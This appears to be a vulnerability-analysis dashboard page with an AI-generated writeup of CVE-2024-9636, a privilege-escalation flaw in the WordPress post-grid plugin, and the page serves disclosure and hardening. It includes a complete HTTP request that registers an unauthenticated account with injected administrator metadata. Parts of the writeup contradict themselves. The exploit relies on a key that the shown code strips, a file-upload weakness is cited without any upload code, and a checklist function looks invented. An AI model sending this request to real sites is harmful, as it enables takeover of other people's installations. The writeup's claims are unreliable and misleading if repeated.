ANALYSIS · 6ed2ec64· FINISHED 2026-06-13 · PATCHDIFF

post-grid2.3.3 → 2.3.4✓ COMPLETED

Files8

Vulnerable4

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2024-9636

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 8 CVE 1 Vuln 4

SORT

1 files · page 1/1

includes/blocks/form-wrap/functions.php

AI: 1 vulnerabilities

CWE-639: Authorization Bypass Through User-Controlled KeyCWE-434: Unrestricted Upload of File with Dangerous Type CVE-2024-9636

#%!d(float64=003)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2024-9636

Security writeup for CVE-2024-9636

✓ 1 FILE

## The Exploit

An unauthenticated attacker can register on a vulnerable WordPress installation and immediately grant themselves administrator privileges by injecting arbitrary user metadata during the registration request.

```http
POST /wp-json/post-grid/v1/form-handler HTTP/1.1
Host: target.local
Content-Type: application/json

{
  "id": "tutorRegisterInstructor",
  "email": "attacker@example.com",
  "password": "Password123!",
  "username": "attacker",
  "user_meta": {
    "wp_user_level": "10",
    "wp_capabilities": {
      "administrator": true
    }
  }
}
```

The attacker observes a `200 OK` response with `"registerUserExist": "User register Success"`. Upon logging in with the supplied credentials, the attacker's account holds full administrator privileges despite never having been granted them through WordPress' standard role management interface.

## What the Patch Did

**Before:**

```php
$user_meta = $request->get_param('user_meta');

global $wpdb;
$table_prefix = $wpdb->prefix;

unset($user_meta[$table_prefix . 'capabilities']);

if (!empty($user_meta)) {
  foreach ($user_meta as $metaKey => $metavalue) {
    update_user_meta($new_user_id, $metaKey, $metavalue);
  }
}
```

**After:**

```php
[The entire tutorRegisterInstructor block was removed]
```

The patch eliminated the privilege escalation vector by removing the code path that accepted arbitrary `user_meta` parameters from unauthenticated REST API requests and wrote them directly to the user meta table using `update_user_meta()`. The vulnerable code attempted a blacklist-based defense by unsetting only `wp_capabilities`, but attackers could still inject alternative capability keys or metadata that grants elevated access through other vectors.

## Root Cause

**CWE-639: Authorization through User-Controlled Key** and **CWE-434: Unrestricted Upload of File with Dangerous Type**.

The attack surface originates in the REST API endpoint handler for `tutorRegisterInstructor` registration. An unauthenticated POST request supplies a `user_meta` parameter (line: `$request->get_param('user_meta')`), which the code iterates over and passes directly to WordPress' `update_user_meta($new_user_id, $metaKey, $metavalue)` function without any validation of the `$metaKey` names. The blacklist attempt—`unset($user_meta[$table_prefix . 'capabilities'])`—only removes keys matching the exact string `wp_capabilities`, leaving other privilege-escalation paths open: `wp_user_level`, custom meta keys that plugins check for capability delegation, or database prefix variations. This crosses the trust boundary between the public internet and the authenticated user meta store.

## Why It Works

The load-bearing line of the patch is the **complete removal of the user_meta acceptance loop**. If only the `unset()` statement remained, an attacker could still inject metadata via alternative key names. If the endpoint remained but applied a whitelist of safe meta keys, the fix would hold; instead, the vendor chose to delete the entire registration codepath, which signals that the feature was fundamentally incompatible with unauthenticated access. The removal of both the metadata loop *and* the file upload handling loop indicates that the engineers recognized defense-in-depth was already broken: validating filenames would not address the underlying privilege escalation, so rather than layer incomplete mitigations, they deleted the vulnerable surface.

## Hardening Checklist

- **Implement a whitelist of allowed user meta keys** using `wp_json_schema_sanitize_array()` or a custom closure that only permits registration-safe fields (e.g., first_name, last_name, description) and rejects anything containing "capability", "role", or "user_level".
- **Enforce capability checks on registration endpoints** by gating the `tutorRegisterInstructor` handler behind `current_user_can('create_users')` or an equivalent capability, removing unauthenticated access entirely.
- **Use WordPress nonces** (`wp_verify_nonce()`) on all registration forms and validate the nonce in the REST endpoint callback, ensuring the request originated from a form your site rendered.
- **Audit all `update_user_meta()` calls on public-facing endpoints** to confirm that meta keys cannot be controlled by request parameters; use static string literals for meta keys instead of interpolation from `$_POST`, `$_GET`, or REST params.
- **Log metadata modifications during registration** and alert administrators if unexpected meta keys are written, catching similar attacks in the future even if a whitelist boundary is bypassed.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2024-9636

CVE CVE-2024-9636

PRODUCT post-grid

AFFECTED ≤ 2.3.3

FIXED IN 2.3.4

STATUS Generated

Security writeup · CVE-2024-9636

Source files · 1

includes/blocks/form-wrap/functions.php Linked

↗ NVD